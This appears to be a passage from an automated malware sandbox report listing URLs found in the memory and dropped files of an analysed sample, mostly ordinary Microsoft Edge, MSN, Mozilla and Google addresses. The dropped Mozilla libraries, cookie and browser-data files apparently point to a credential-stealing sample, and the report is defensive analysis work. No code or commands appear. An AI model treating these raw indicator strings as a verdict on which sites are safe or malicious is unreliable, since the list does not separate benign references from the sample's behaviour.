Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr, HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log5.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr, HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log5.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_579.6.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_579.6.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_579.6.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_579.6.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://gaana.com/
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: DGHDHIDGHIDGIECBKKJJ.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://m.kugou.com/
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://m.vk.com/
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.11.dr	String found in binary or memory: https://msn.comXIDv10
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://music.amazon.com
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://music.apple.com
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log4.10.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.10.dr, 000003.log0.10.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log9.10.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.10.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log9.10.dr, 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376800531425945.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.10.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://open.spotify.com
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_579.6.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://srtb.msn.com/
Source: KKECBFCGIEGCBGCAECGCBAKECB.0.dr	String found in binary or memory: https://support.mozilla.org
Source: KKECBFCGIEGCBGCAECGCBAKECB.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: KKECBFCGIEGCBGCAECGCBAKECB.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://tidal.com/
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://web.telegram.org/
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://web.whatsapp.com
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2694362561.0000000023693000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2667851166.00000000010B3000.00000004.00000020.00020000.00000000.sdmp, DGHDHIDGHIDGIECBKKJJ.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: KFHJJJKK.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content.js.10.dr, content_new.js.10.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2443519605.000000002363F000.00000004.00000020.00020000.00000000.sdmp, KFHJJJKK.0.dr, Web Data.10.dr, BGIDBKKK.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: a2c7d6a9-de92-46b8-a64d-fe5495e3d0fc.tmp.11.dr, d86d4a4d-a634-4d52-9e7e-836789e4353c.tmp.11.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_579.6.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_579.6.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_579.6.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://www.instagram.com
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://www.last.fm/
Source: 4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	String found in binary or memory: https://www.messenger.com
Source: KKECBFCGIEGCBGCAECGCBAKECB.0.dr	String found in binary or memory: https://www.mozilla.org
Source: KKECBFCGIEGCBGCAECGCBAKECB.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: file.exe, 00000000.00000002.2666039485.00000000001D4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: KKECBFCGIEGCBGCAECGCBAKECB.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000002.2666039485.00000000001D4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2666039485.00000000001D4000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2666039485.00000000002B7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
